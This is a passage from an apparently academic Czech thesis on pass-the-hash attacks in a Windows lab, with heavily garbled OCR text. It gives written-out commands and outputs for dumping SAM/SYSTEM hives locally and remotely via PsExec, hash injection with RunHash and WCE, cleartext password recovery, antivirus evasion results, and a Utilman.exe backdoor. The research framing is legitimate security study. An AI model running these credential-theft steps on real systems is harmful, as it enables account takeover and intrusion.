sys tém není spuš těn , není ch ráněna ani S A M da tabáze , a lze j i skopírovať 
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• Využit í integrovaných nás t ro jů pro správu registrů. 

K extrakci hash hodnot je k romě S A M souboru po t ř ebný také S Y S T E M soubor. 

Ten je uložen ve stejné složce jako S A M . Oba dva soubory jsou v p ů v o d n í m stavu 

bez přípony. 

Výhodou tohoto řešení je, že ú točn ík nemusí řešit p roblém s antivirovou ochra­

nou. Pokud se mu p o d a ř í získat p ř í s tup k počí tači a da t abáz i skopírovat, rozbalit 

j i může pomocí výše popsaných ná t ro jů již na své stanici, kde m á plný p ř í s tup 

k ovládání antiviru, k te rý může pozastavit. 

Z a v e d e n í a l t e r n a t i v n í h o s y s t é m u 

Jako a l te rna t ivn í sys tém byl zvolen Linux, konkré tně jeho distribuce Backtrack. Ten 

dokáže fungovat jako tzv. Live C D , kdy není t ř e b a sys tém instalovat a je možné jej 

spustit s amos t a tně z U S B disku nebo C D . 

Př íkazy: 

cp /media/lAD2235FD223/Windows/System32/config/SAM /root/Desktop 

cp /media/lAD2235FD223/Windows/System32/config/SYSTEM /root/Desktop 

byly zkopírovány po t ř ebné soubory pro zisk hashe do složky „Desk top" . Následně byl 

použi t nás t ro j „bkhive" , k t e rý ze souboru S Y S T E M získal zaváděcí klíč, po t ř ebný 

k extrakci úda jů ze S A M da tabáze . 

K s a m o t n é m u zobrazení hash úda jů byl použi t nás t ro j „ s a m d u m p 2 " . Po lokali­

zování S A M souboru a zaváděcího klíče byly získány požadované údaje (obr. 4.8). 

root@bt:-# cd /root/Desktop/ 
root^bt:-/Desktop* bkhive SYSTEM key 
bkhive 1.1.1 by O b i e c t i f Securite 
Root Key : CMI-CreateHive{F10156BE-0E87-4EFB-969E-5DA29D131144} 
Default ControlSet: 001 
Bootkey: 76f592221cffe749f6f4a960fb324929 
root@bt:-/Desktop* samdump2 SAM key 
samdump2 1.1.1 by Objectif Securite 
Root Key : CMI-CreateHive{899121E8-llD8-44Bfj-ACEB-301713D5ED8C} 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae 
634: : : 
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0dl6ae931b73c59d7e0c089c0::: 
A05:1002:aad3b435b51404eeaad3b435b51404ee:b792835825adfc48cd5f8467acfdcd5e::: 
B05:1003:aad3b435b51404eeaad3b435b51404ee:d5e9e0db50ba46b948853221be26da2b::: 
Host:1004:aad3b435b51404eeaad3b435b51404ee:823893adfad2cda6ela414f3ebdf58f7:: : 

Obr. 4.8: Backtrack - ex t rahování zkopírované S A M da t abáze 
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4.1.6 Nást ro je pro správu regis t rů 

Operačn í sys tém Windows obsahuje nás t ro j pro konzolovou správu svých registrů. 

J e d n á se o program reg.exe, ve k t e r ém lze provádět úp ravy v registrech a také z nich 

exportovat hodnoty. 

K lokálnímu použi t í byl vytvořen spust i te lný skript „ C o p y S A M . b a t " s následu­

j ícím obsahem: 

reg.exe save HKLM\SYSTEM C:\SYSTEM.file  

reg.exe save HKLM\SAM C:\SAM.file, 

kte rý extrahuje z data z po t řebných složek v registrech (tzv. hives) do zvoleného 

umís tění , konkré tně tedy do kořenového adresáře disku C. 

C:\>PuDu.mp7.exe -s C : \ S f l M . f i l e C : \ S V S T E M . f i l e 

Pudump u7.1 — ran passuord e x t r a c t o r 
Author: flndres Tarasco flcuna 
u r l : h t t p : / / u w u . 5 1 4 . e s 

ň d m i n i s t r a t o r : 5 0 0 : N O PflSSUORD 
Guest:501:HO PASSUORD******** 
ň 0 5 : 1 0 0 2 : N O P A S S U O R D « ~ ~ K M ™ ~ 
B05:1003:NO P ň S S U O B D * * * * * * * * * 
Host:1004:NO Pfl S S UOBD 

* * * * * * * * * : 2 0 9 C 6 Í 7 4 D f l 4 9 0 C f l E B 4 2 2 F 3 F f l 5 f l 7 f t E 6 3 4 : : : 
*:N0 PflSSWORDUKMKKUKUKKKKUKKKKUKKK: = = 

: B 7 9 2 8 3 5 8 2 5 A D F C 4 8 C D 5 F 8 4 6 7 ň C F D C D 5 E : : : 
:D5E9E0DB50BA46B948853221BE26DA2B::: 
*:823893flDFAD2CDA6Elfl414F3EBDF58F7::: 

Obr. 4.9: Extrakce úda jů ze S A M da t abáze 

Nyní je již možné např . pomocí nás t ro je Pwdump specifikovat umís těn í zkopíro­

vaných souborů a získat tak po t ř ebný hash (viz obr. 4.9). 

V z d á l e n é s p u š t ě n í 

V p ř ípadě znalosti uživatleského j m é n a a hesla na zvoleném počí tač i je možné tento 

skript také spustit vzdáleně. K tomuto spuštění byl využi t nás t ro j Psexec.exe, k terý 

umožňuje vzdálené vykonávání př íkazů na j iném sys tému, než je uživatel přihlášen. 

Př íkazy: 

Psexec.exe \\192.168.59.130 -u B05 -p management 

reg.exe save HKLM\SYSTEM C:\Users\Public\Documents\SYSTEM.file, 

Psexec.exe \\192.168.59.130 -u B05 -p management 

reg.exe save HKLM\SAM C:\Users\Public\Documents\SAM.file 

byla spacifikována adresa vzdáleného počí tače a parametry ,,-u" a ,,-p" slouží k za­

dán í přihlašovacích úda jů na vzdálený počí tač . D r u h á část obsahovala příkazy, k teré 

budou na vzdá leném počí tač i vykonány. Jednalo se o použi t í nás t ro je reg.exe popsa­

ného v kapitole 4.1.6. Jako cílová složka byla zvolena C: \Users\Public\Documents\, 

k te rá je ve výchozím stavu sdílená a mají k ní p ř í s tup všichni uživatelé ze sítě. 
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4.2 Passs the Hash 
K e změně či vytvoření nové uživatelské relace byly využi ty následující nás t roje : 

• Pass-the-hash Toolkit 

• Runhash 

• Windows Credential Editor 

• Msvc t l 

4.2.1 Pass-the-hash Toolkit 

Nástro j „ iam.exe" , k te rý je součást í balíčku Pass-the-hash Toolkit , umožňuje změnu 

N T L M přihlašovacích úda jů u současné relace. Útok byl prováděn z uživatelského 

úč tu B05 na sys tému Windows X P . Po specifikování názvu úč tu , domény, L M hashe 

a N T L M hashe kompromi tovaného ú č t u (v tomto př ípadě byl zvolen admin is t rá to r ­

ský účet na d a n é m počí tači) bylo je n u t n é specifokovat ješ tě př íkaz, k t e rý bude pod 

nově vytvořenou relací spuštěn. Doplněn ím o parametr - r cmd. exe byla v y b r á n a 

právě příkazová řádka . 

C:\pshtoo lk i t_u l .4Siam-alt>iam-alt .exe - h Administrator:U0JTA-9D5859ElA :F0D412BD764FFE81AA 
D3B435B51404EE:209C6174DA490CAEB422F3FA5A7AE634 - r end.exe 
IAM—ALT u l . l — by Hernan Ochoa thoclioaPcoresecurity.com, hernanPgmail.com> — (c> 2007—2008 

Core Security Technologies 
This t o o l allows you to change the NTLM credent ia ls of the current logon session 
the credent ia ls uere success fu l ly changed* 
C:\pshtoolkit_ul.4Siam—alt> 

C :\W INDOWS\system 3 2\cm d. exe 

flicrosoft Windows XP [Uerze 5.1.2600] 
<C> Copyright 1985-2001 Microsoft Corp. 

C:\WIND0US\system32>cd C: \pshtoo lk i t_u l .4 \whos there -a l t \  

C: \pshtoolki t_ul .4Suhosthere-al t >whosthere-alt. exe 
LJHOSTHERE-ALT u l . l - by Hernan Ochoa Chochoa@coresecurity.com, hernan@gmail.com) - (c) 200 
7-2008 Core Security Technologies 
This t o o l l i s t s the active LSA logon sessions u i th NTLM credent ia l s , 
the output format i s : username:domain:lmhash:nthash 
Administrator:UOJTA-9D5859ElA:004020D060F0E010A0304050504040E0:00C01040A090C0E0402030A0ABA 
06040 
B05:UOJTA-9D5859E1A:6000A0E00040207070A02010D080D0C0:509000B000A0609080502010E060A0B0 
U0JTA-9D5859E1AS:WORKGROUP:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089 
ca 

Obr. 4.10: Windwos X P - Změna přihlašovacích N T L M úda jů 

Po úspěšném provedení bylo pomocí nás t ro je „whois there-a l t .exe" v nově ote­

vřeném okně ověřeno, že účet Admin i s t r á to r je veden v akt ivních logon relacích (obr. 

4.10). Nyní by bylo možné pomocí vhodných př íkazů využívat admin i s t r á to r ský účet 

v p lném rozsahu jeho práv. Funkcionalita je ovšem opět omezena pouze na operační 

sys tém Windows X P a starší , což nás t ro j činí v dnešních inf ras t rukturách t éměř 

nepouži te lným. 
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4.2.2 RunHash 

J e d n á se o nás t ro j , k te rý umožní vložit zadaný hasli do lsass procesu. Jest l iže je 

akce úspěšná , je po té opět možné sputit jakýkoliv př íkaz s oprávněními uživatele, 

j emuž příslušný hash náležel. 

K tes tování byl použi t účet B05 na operačn ím sys tému Windows 7 a hash ad­

minis t rá torského hesla (obr. 4.6), k teré bylo získáno již dříve. Jelikož není používán 

L M hahs, musí být jeho hodnota nahrazena nulami. 

K ověření sloužil nás t ro j „wce.exe", k t e rý umožní zobrazit současné N T L M relace 

a jenž bude popsaný dále. Po specifikování uk radeného hashe a libovolného př íkazu 

(konkrétně cmd.exe) byl opět spuš těn program „wce.exe". Z obrázku 4.11 je pa t rné , 

že vznikla nová relace admin is t rá to r ského úč tu , pod k t e r ý m byl spuš těn příkazový 

řádek. 

C:\Users\B05\Desktop\Tools>uce.exe 
UCE u l .42beta <Uindows Credent ia l s E d i t o r ) - <c> 2010-2013 Amplia S e c u r i t y 
Use —h f o r h e l p . 

B05:WIN-BD0713 C2 3 CN:C6100A CE8 0E48 2 6 7B79 fl E2 610DD8 9 D4C:D5 E9 E0DB5 0BA 46 B9 48 8 5 3 2 2 i BE2 6 Dfl 2 B 

C:\Users\B05\DeshtopMools>runhash32.exe ftdninistrator:500:0000000000000000000000000000000 
0:209C6174Dfl490CAEB422F3FA5A7AE634::: end.exe 

RunhAsh u l . 0 — Copyright C O 2010 Bjorn B r o l i n , Truesec ( i fuu.truesec.con) 
Username: Adminis tra tor 
Domain: . 
S t a r t i n g p r o c e s s . . . Done! 
Found Lsass p i d : 844 
Lsass process open 
Searching f o r matching token s e c r e t s . . . 
Found poss ib le primary token 
Found r e a l token 
Found poss ib le primary token 
Found r e a l token 
Found match 
Patching token s e c r e t s . . . Done? 

C:\Users\B05\Desktop\Tools>uce.exe 
UCE u l .42beta (Uindous Credent ia l s E d i t o r ) - <c> 2010-2013 ftmplia S e c u r i t y 
Use - h f o r h e l p . 

Administrator:.:00000000000000000000000000000000:209C6174DA490CAEB422F3FA5A7AE634 
B05:UIN-BD0713 C2 3 CN:C6100A CE80E48 2 6 7B79 fl E2 G10DD8 9 D4C:D5 E9E0DB50BA 46 B9 48 8 5 3 2 21BE2 6 Dfl 2 B 

Obr. 4.11: Windows 7 - změna N T L M relace nás t ro jem RunHash.exe 

Velká v ý h o d a tohoto nás t ro je spočívá v bezproblémovém použi t í na všech no­

vějších systémech Windows počínaje Windows Vis ta . RunHash je t aké funkční na 

všech jejich a rch i tek tu rách (x64 i x86) a m á velmi nízkou detekovatelnost antiviro­

v ý m programem. 

4.2.3 Windows Credential Editor 

Windows Credential Edi tor ( W C E ) je nás t ro j , k t e rý umožňuje zobrazit, měni t a ru­

šit současné přihlašovací relace na konkré tn í stanici. Program je také zaměřen na 
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kompromitaci active directory, umožňuje získat Kerberos tikety a nás ledně je využí t 

pro p ř í s tup k s lužbám a sys tému. 

W C E podporuje veškeré současné operační sys témy Windows a jejich 32bit 

i 64bit verze. 

P ř íkazem wee. exe - 1 se zobrazí veškeré akt ivní relace na lokálním počí tači . 

J e d n á se o obdobu nás t ro je whoisthere.exe obsaženého v Pass the Hash Toolkit . 

Ú tok pass the hash byl proveden z uživatelského úč tu B05 na OS Windows 7. 

Údaje po t ř ebné pro ú tok byly získány již dříve (viz obr. 4.6). Zvolen byl hash hesla 

asociovaného k uživatelskému ú č t u A05 (obr. 4.12). 

C:\Users\B05SDesktop\Tools >wce.exe 
UCE u l .42beta (Uindous C r e d e n t i a l s E d i t o r i - (c) 2010-2013 A n p l i a S e c u r i t y 
Use —h f o r h e l p . 
B05:WIN-BD0713 C2 3 CN:C6100fl CE80E48 2 6 7B79 A E2 610DD8 9 D4C:D5 E9E0DB50BA46 B9 48853221BE2 6 Dfi 2 B 

C:\Users\B05\Desktop\Tools>uce.exe -s H05:1002:00000000000000000000000000000000:B792835825 
ADFC48CD5F8467ACFDCD5E -c end.exe 

UCE u l .42beta <Uindows Credent ia l s E d i t o r i - í c > 2010-2013 flnplia S e c u r i t y 
Use —h f o r h e l p . 

Changing NTLM c r e d e n t i a l s of new logon sess ion 0012E6D5h to : 
Usernane: A05 
domain: 1002 
LMHash: 00000000000000000000000000000000 
NTHash: B792835825flDFC4BCD5F8467flCFDCD5E 
NTLM c r e d e n t i a l s s u c c e s s f u l l y changed? 

C:\Users\B05\Desktop\Tools>uce.exe 
UCE u l .42beta <Uindows Credent ia l s E d i t o r i - (c> 2010-2013 flnplia S e c u r i t y 

Use —h f o r h e l p . 
A05:1002:00000000000000000000000000000000:B79283S82SADFC48CD5F846 7A CFDCD5 E 
B05:UIN-BD0713 C2 3 CN:C6100fl CE80E48 2 6 7B79 A E2 610DD8 9 D4C:D5 E9E0DB50BA46B948853221BE26DA2B 

Obr. 4.12: Windows 7 - Nová N T L M relace 

Po úspěšném spuštění bylo ověřeno vytvoření nové relace opě tovným spuš těn ím 

wce.exe (obr. 4.12). 

Nást ro j wce.exe také umožňuje zobrazení uživatelského hesla v čisté podobě . To 

je dočasně uloženo v autent izačních balíčcích, z nichž je parametrem wce. exe -w 

heslo možné vyčíst . 

C:\>wce.exe —w —v 

UCE v l . 4 2 b e t a (Uindous C r e d e n t i a l s E d i t o r i - <c> 2010-2013 Anip l ia S e c u r i t y 

Use — li f o r h e l p . 
C u r r e n t Logon S e s s i o n LUID: 001BC602h 

Logon S e s s i o n s Found: 7 

A05\1002: 
B0S \UIN-BDO713C23CN:secur i ty 
UIN-BD0713C23CNSSU0RKGR0UP: 

Obr. 4.13: Zobrazení hesla v čis tém textu 

48 

file://C:/Users/B05SDesktop/Tools
file://C:/Users/B05/Desktop/Tools
file:///Users/B05/Desktop/Tools


Heslo v čis tém textu bylo zobrazeno až po úspěšném vytvoření nové relace. Z ob­

rázku obr. 4.13 je možné vyčíst heslo k ú č t u B05. K ú č t u A05 jej není možné zobrazit, 

jelikož k vytořen í relace byl použi t pouze jeho hash. 

4.3 Antivirová ochrana 

Jelikož větš ina z výše popsaných nás t ro jů využívá metody dl i injection, p ř ípadně 

j iného neoprávněného zásahu do systému, měl by je být ant ivirový program schopen 

odhalit ješ tě p řed t ím, než je pomocí nich získán hash, p ř ípadně provedena změna či 

vytvoření nové N T L M relace. P ř i tes tování byly použi ty plně aktual izované antivi­

rové programy: 

• A V G antivirus 2014, 

• Kašpersky Ant i -Vi rus 2013, 

. Nor ton™ Ant iVi rus 2014, 

• Avast Ant ivirus 2014 , 

• McAfee Ant iv i rus & Security, 

• Eset N O D 3 2 Antivirus . 

Detekce používaných nás t ro jů byla tes tována jak při lokálním použi t í , tak při 

vzdáleném. V př ípadě , že nás t ro j obsahoval možnost na obcházení antiviru, ta byla 

použi ta . Výsledky pro lokální detekci jsou zaznamenány v tabulce 4.4 a pro vzdále-

nout v tabulce 4.5. 

Tab. 4.4: Detekce nás t ro jů při lokálním použi t í 

Avg Kašpersky Norton Avast McAfee N O D 3 2 

fgdump pozi t ivní pozi t ivní pozi t ivní pozi t ivní pozi t ivní negat ivní 

gsecdump pozi t ivní pozi t ivní pozi t ivní pozi t ivní pozi t ivní negat ivní 

msvctl pozi t ivní pozi t ivní pozi t ivní pozi t ivní pozi t ivní negat ivní 

pshtoolkit pozi t ivní pozi t ivní pozi t ivní pozi t ivní pozi t ivní negat ivní 

pwdump pozi t ivní částečně pozi t ivní pozi t ivní pozi t ivní negat ivní 

W C E pozi t ivní pozi t ivní negat ivní negat ivní pozi t ivní negat ivní 

runhash negat ivní negat ivní negat ivní negat ivní pozi t ivní negat ivní 

skript negat ivní negat ivní negat ivní negat ivní negat ivní negat ivní 
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Tab. 4.5: Detekce nás t ro jů při vzdá leném použi t í 

Avg Kašpersky Norton Avast McAfee N O D 3 2 

fgdump pozi t ivní negat ivní pozi t ivní negat ivní pozi t ivní negat ivní 

gsecdump nelze nelze nelze nelze nelze nelze 

msvctl nelze nelze nelze nelze nelze nelze 

pshtoolkit nelze nelze nelze nelze nelze nelze 

pwdump pozi t ivní částečně pozi t ivní negat ivní pozi t ivní negat ivní 

W C E nelze nelze nelze nelze nelze nelze 

runhash nelze nelze nelze nelze nelze nelze 

skript negat ivní negat ivní negat ivní negat ivní negat ivní negat ivní 

4.4 Zhodnocení 
Veškeré zmíněné nás t ro je byly otes továny na všech operačních systémech. Testovaný 

nebyl pouze nás t ro j msvctl.exe, jehož funkčnost je omezena pouze na 32bitvé kopie 

sys tému Windows X P , což jej činí v současném reá lném pros t ředí t éměř nepouži­

te lným. Funkcionalita tes tovaných p rog ramů v závislosti na jednot l ivých operačních 

systémech je uvedena v tabulce 4.6. 

Tab. 4.6: P řeh led funcionality nás t ro jů na operačních systémech 

Windows 7 Windows X P Winodws S E R V E R 2008 R2 

fgdump funkční funkční nelze 

gsecdump funkční funkční nelze 

msvctl nelze funkční nelze 

pshtoolkit nelze funkční nelze 

pwdump funkční funkční funkční 

W C E funkční funkční funkční 

runhash funkční nelze funkční 

skript funkční funkční funkční 

Pro následující simulaci ú toku pass-the-hash v navrženém pros t řed í bude k zís­

kání hashe využi to skriptu pro zálohu větev registrů. B y l zvolen z důvodu využit í 

pouze nás t ro jů integrovaných v operačn ím sys tému Windows. Ant ivi rový program 

tedy nikdy nevygeneruje poplašnou zpárvu. Totéž p la t í i pro vzádlené spuštění , kdy 

se využívá nás t ro jů Windows Sysinternals, k teré byly vyvinuty pro souběžný chod 

se sys témem Windows. Získané soubory po t é mohou být ex t rahovány jakýmkol iv 

d o s t u p n ý m nás t ro jem. 
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K provedení změny N T L M úda jů akt ivní logon relace budou zvoleny nás t ro je 

W C E a runhash. Oba dva vykázaly nízkou mí ru detekce ant iv i rovým programem, 

a tud íž jsou vhodné pro nasazení v reá lném prost ředí . Program W C E navíc umož­

ňuje nejen změnu N T L M údajů , ale také krádež Kerberos t isketů a jejich následné 

použi t í pro p ř í s tup k p o t ř e b n ý m službám. Oba dva programy jsou také funkční na 

všech současně dos tupných operačních systémech Microsoft Windows i obou archi­

t ek tu rách x64 a x86. 
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5 NÁVRH TESTOVACÍHO P R O S T Ř E D Í 

Návrh sítě pro demonstraci reálného schématu ú toku Pass the hash je zobrazen na 

obr. 5.1. Celá síť, včetně operačních sys témů, je plně vir tual izovaná pomocí por-

gramu V M w a r e Workstation 10. 

Obr. 5.1: Schéma testovacího pros t ředí 

Všechny cílové stanice se nachází v j edné lokální síti za účelem společné komuni­

kace a běží na nich plně aktual izovaný operační sys tém Windows 7 a Windows X P . 

Počí tače P C 2 a P C 3 spadaj í t aké do Windows domény s názvem „ P T H L A B " . A d ­

min is t rá to rský účet A05 je na obou stanicích pouze lokální. O s t a t n í uživatelé mají 

p ř í s tup do domény. 

Tato doména je ř ízena serverem s operačn ím sys témem Windows Server 2008 

R2. Serveru jsou př i řazeny 2 role: 

• role řadiče domény, 

• role souborového serveru, 

• role D N S serveru. 

Role řadiče domény m á za účel spravovat data active direcotry a komunikaci 

mezi uživateli i s amos t a tnými doménami . V p ř ípadě testovacího pros t ředí je h lavním 
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cílem t é t o role řídit procesy přihlášení a ověřování jednot l ivých uživatelů v rámci 

domény P T H L A B . 

Souborové servery slouží k p ř í s tupu k soubo rům a jejich správě. Tato role byla 

zavedena z důvodu ověření ú točníkova postupu sítí. Každému uživateli v rámci do­

mény je př idělena složka po jmenovaná podle názvu úč tu , do které m á p ř í s tup pouze 

on. Pokud ú točn ík úspěšně provede ú tok pass the hash a kompromituje nějaký z uve­

dených privilegizovaných úč tů , získá p ř í s tup právě do složky daného uživatele. 

Uživatelské úč ty používané v navrženém pros t ředí jsou uvedeny na obrázku 5.1. 

Přeh led umís těn í stanic v rámci testovací L A N sítě V M N E T 2 , použi tých uživatel­

ských úč tů a jejich př í s tupových hesel je vynesen do tabulky 5.1. 

Tab. 5.1: Přeh led koncových stanic a uživatelských ú č t ů 

stanice Operačn í sys tém Uživatelé Hesla D o m é n a 

P C I Windwos 7 A05 Yaq;+wsx -
P C 2 Windwos 7 A05 

B05 

Yaq;+wsx 

R l i2N3g4 

P T H L A B 

P C 3 Windwos 7 B05 

Administrator 

R l i2N3g4 

D0m@ InAdmin 

P T H L A B 

S E R V E R Windwos Server 

2008 R2 

Administrator D0m@ InAdmin P T H L A B 

5.1 Zprovoznění testovacího prostředí 

5.1.1 Windows Server 2008 
A b y bylo možné server použí t jako doménový řadič je n u t n é mu přiděli t výše zmíněné 

role 

Ins ta lace ro le d o m é n o v é h o ř a d i č e 

Instalace doménového řadiče a nas tavení p to řebné domény se spus t í př íkazem 

dcpromo 

z a d a n ý m v př íkazovém řádku . J e d n á se o nás t ro j (Domain Controller P romoté r ) 

v rámci Active directory, k t e rý spravuje služby active directory domény a vytvář í 

řadiče domény. 

Př i instalaci první domény bude defaultně nas tavený admin i s t r á to r ský účet po­

výšený na správce domény. Je tedy n u t n é mu př i řad i t odpovídaj ící heslo. To se 

provede př íkazem: 
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net user Administrátor D0m@!nAdmin /passwordreq:yes. 

kde „Admin i s t r á to r " značí účet a „DOm@!nAdmin" př i řazené heslo. 

F Q D N , tedy Ful ly Qualified Domain Name bylo nastaveno na „p th lab .com" . 

J e d n á se o doménové jméno , k teré přesně určuje umís těn í počí tače ve stromové 

s t ruk tu ře . 

Správně vytvořenou doménu je možné ověřit po zadání do příkazové řádky: 

nltest /dsgetdc:<jméno_domény>, 

N a obrázku 5.2 je zobrazen výs tup pro název „p th lab .com" a je pa t rné , že 

úspěšně vznikl doménový kontrolér s adresou serveru a doména byla úspěšně vy­

tvořena . 

C:SUsers\Administrator>nltest /dsgetdc:pthlab.com 
DG: WSemer.pthlab.com  

Rddress: SS192.168.1.1 
Don Guid: 524e00dl-eff7-4ba3-a4a7-092d8df92eda 
Don Name: pthlah.com  

Forest Name: pthlab.com  
Dc Site Name: Default-First-Site-Name 

Our Site Name: Default-First-Site-Name 
Flags: PDC GG DS LDflP KDC TIMESERU GTIMESERU URITABLE DNS_DC DNS_DOMAIN 

DNS_FOPEST CLOSE_SITE FULL_SEGRET US 
The comnand completed success f u l i v 

Obr. 5.2: Ověření vytvořené domény 

Nyní je n u t n é nastavit, k teré koncové stanice budou mí t do domény p ř í s tup 

a k teré uživatelské úč ty se budou moci vůči active directory ověřit. 

Do domény byly př idány stanice s konkré tn ími uživatelskými účty: 

. P C 2 - B05 

• P C 3 - B05, Admin i s t r á to r 

Př i vy tvářen í stanic, bylo n u t n é specifikovat heslo, o které je uživatel p o ž á d á n 

při př idávání konkré tn ího počí tače do domény. Hesla byla ponechána s te jná jako 

v tab. 4.3. 

Ins ta lace D N S s e r v e r u 

Instalace D N S serveru je n u t n á pro správný chod doménového řadiče. V p r ů b ě h u 

jeho instalace je tedy t ř eba nainstalovat službu D N S . Instalace požadované role 

proběhla automaticky. 

Ins ta lace ro le s o u b o r o v é h o s e r v e r u 

Tato role byla serveru př i řazena automaticky po samos ta tné instalaci. Je tedy t ř eba 

pouze vytvoř i t sdílené složky a přidělit j i m p o t ř e b n á oprávnění . Pro uživatele B05 
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a Administrator byly vytvořeny složky <uživatelské_jméno>-files", k teré ob­

sahují t ex tový soubor, jehož o tevřen ím a pozměněn ím se ověří úspěšnost ú toku . 

K j edno t l ivým složkám v m ó d u zápisu maj í p ř í s tup pouze uživatelé uvedení v jejich 

názvu s výjimkou ú č t u Admin i s t rá to r , jenž m á p ř í s tup ke všem. 

Použ i t á oprávnění u složky B05-files jsou zobrazena na obrázku 5.3. Analogicky 

byla vy tvořena práva i pro složku Administrator-files. 

£ Permissions for B05-files 

Security | 

Group or user names: 

BD5 (BD5@pthlab.com) 

For special permissions or advanced settings, 
click Advanced. 

Learn about access control and permissions 

Permissions for BOS Allow Deny 

Full Control E l • 
Modify E l • 
Read & Execute E l • 
List Folder Contents E l • 
Read E l • 

Advanced 

OK 1 Cancel Apply 

Obr. 5.3: N T F S oprávnění složky B05-files 
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Ověřit správné sdílení i oprávnění k d a n ý m složkám lze př íkazem: 

net share <jméno_sdílené_položky>. 

C:\Users \Administrator>net share B05- f i l e s 
Share name 
Path 
Renark 
Maximum users 
Users 
Caching 
Perniss ion 

B05- f i l e s 
c : \ B 0 5 - f i l e s 

No l i n i t 

Manual caching of documents 
PTHLABNAdministrator, FULL 
PTHLABNBB5, FULL 

C:SUsers\Administrator>net share Administrator—fi les 
Share nane A d n i n i s t r a t o r - f i l e s 
Path c : \ A d n i n i s t r a t o r - f i l e s 
Renark 
Maxinun users No l i n i t 
Users 
Caching Manual caching of documents 
Perniss ion PTHLAB\Administrator, FULL 

Obr. 5.4: Oprávněn í sdílených složek 

5.1.2 Uživatelská stanice 

A b y bylo možné uživatelské stanice připoj i t do domény, je nu tné , aby se nacházely 

ve stejné síti (192.168.1.0/24) a měly správně nastavenou IP adresu D N S serveru. 

To je vyžadováno pro správné přeložení doménového názvu a pro komunikaci se 

stanicemi uvn i t ř domény (vč. doménového kontroléru) . 

Správné nas tavení IP adres stanice P C 2 je uvedeno na obr. 5.5. Analogicky byly 

zvoleny IP adresy i u dalších stanic. 

V tabulce 5.2 jsou uvedeny veškeré zvolené IP adresy a jejich př i řazení k jednot­

l ivým stanicím. 

Tab. 5.2: Přeh led IP adres přidělených koncovým stanicím 

stanice IP adresa D N S server D o m é n a 

P C I 192.168.1.11 - -
P C 2 192.168.1.12 192.168.1.1 P T H L A B 

P C 3 192.168.1.13 192.168.1.1 P T H L A B 

S E R V E R 192.168.1.1 - P T H L A B 

Pro účely demonstrace ú toku nepot řebuje mí t stanice P C I přidělenu žádnou IP 

adresu D N S serveru, jelikož se nachází mimo doménu P T H L A B , a není tedy n u t n é 
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přek láda t její název. U Windows serveru není př i řazena proto, že s ám m á př i řazenou 

roli lokálního D N S serveru a nepředpok ládá se p ř í s tup do sítě internet. 

K p ř idán í stanice do požadované domény je nu tné specifikovat p o t ř e b n o u doménu 

a název počí tače , pod k t e r ý m bude v rámci domény vystupovat. 

Protokol IP verze 4 (TCP/IPv4) - vlastnosti 

Obecné 

Podporuje-li síť automatickou konfiguraci IP, je možné získat nastavení 
protokolu IP automaticky. V opačném případě vám správné nastavení 
poradí správce sítě. 

• \ • Získat IP adresu ze serveru DHCP automaticky 

použít následujíc]' IP adresu 

IP adresa: 

Maska podsítě: 

Výchozí brána: 

192 168 1 12 

255 255 255 0 

192 163 1 1 

Získat adresu serveru DNS automaticky 

4 Použít následující adresy serverů DNS: 

Upřednostňovaný server DNS: 

Alternativní server DNS: 

^| Pf i ukončení ověřit platnost nastavení 

192 . 168 

Upřesnit. 

OK Storno 

Obr. 5.5: IP adresy přidělené stanici P C 2 

V testovací síti se j edná o doménu pthlab.com a název P T H P C x . Po zadání po­

t řebných úda jů a ověření konektivity k doménovému kontroléru je uživatel vyzván 

k zadán í přihlašovacích úda jů pro p ř í s tup k doméně , k teré již byly dříve nasta­

veny na Windows serveru. Po jejich ověření se poč í tač či uživatel s tává součást í 

domény .Tímto způsobem byly do domény p ř idány stanice P T H P C 1 a P T H P C 2 . 

Ze strany serveru je možné úspěšné př ipojení uživatelů do domény ověřit př íka­

zem: 

net stat <uživatelké_jméno> 

N a obrázku je 5.6 jsou zobrazeny podrobné údaje o doménovém ú č t u B05. 
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C:\Users \Administrator>net user BBS 
User name 
F u l l Name 
Co nine nt 
User's connent 
Country code 
Account act iue 
Account expires 

Password la s t set 
Password expires 
Password changeable 
Password required 
User nay change password 

Uorkstat ions allowed 
Logon s c r i p t 
User p r o f i l e 
Hone d i r e c t o r y 
Last logon 

Logon hours allowed 

L o c a l Croup Memberships 
Global Group nenberships 

B05 
B05 

000 (System Default> 
Ves 
Never 

3/9/2014 3:10:10 PM 
Neuer 
3/10/2014 3:10:10 PM 
Ves 
No 

A l l 

3/9/2014 3:23:42 PM 

A l l 

"Domain Users 

Obr. 5.6: Údaje o doménovém úč tu 
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5.2 Demonstrace útoku v navrženém prostředí 
Pro provedení ú toku se předpokládá , že ú točn ík získal jakýmkol iv způsobem př í s tup 

k nedos ta tečně zabezpečené stanici v rámci sítě. V simulaci byl vy tvořen uživatelský 

účet s názvem Attacker, k te rý je následně upraven tak, aby z něj bylo možné provádět 

veškeré kroky po t ř ebné pro postup sítí př i ú toku . V př ípadě testovací sí tě se j edná 

o stanici P C I . 

5.2.1 Získání adminis t rá torských práv 

Pro vytvoření ú točníkova úč tu a přidělení admin is t rá to rských p ráv bylo využi to 

tvz. „backdoor" , tedy metody, k t e rá umožňuje obejít běžnou autentizaci bránící 

neoprávněnému využi t í počí tače . 

Po spuštění sys tému Windows 7 je na přihlašovací obrazovce ikona, jež umožňuje 

spuš tění nás t ro je Utilman.exe, k t e rý usnadňuje užívání počí tače . Tento soubor se 

nachází v systémové složce 

C:\Windows\System32\Utilman.exe 

K e spuštění je využi t j ednoduchý příkaz, k te rý otevře program s p řesným názvem 

a z konkré tn ího umís tění . Pokud je nás t ro j Utilman.exe nahrazen j iným, k te rý je 

shodně po jmenovám a uložen na s te jném mís tě , bude spuš těn tento soubor. Toho 

bylo využi to k získání admin i s t rá to rksého p ř í s tupu k příkazové řádce. 

Obr. 5.7: Ikona pro spuštění nás t ro je Utilman.exe 

Za chodu sys tému Windows nemůže běžný uživatel upravovat systémové soubory. 

K tomu je zapo t řeb í převzí t jejich v las tn ic tv í a přiděli t po t ř ebné skupině uživatelů 

práva pro čtení a zápis. Měni t tato oprávnění mají pouze uživatelé s adminis t rá ­

to rskými právy. Z toho plyne, že není možné ze s t a n d a r t n í h o ú č t u tuto metodu 

použí t . 

Z toho d ů v o d u byl opě t použi t a l t e rna t ivn í systém, jenž může být spuš těn př ímo 

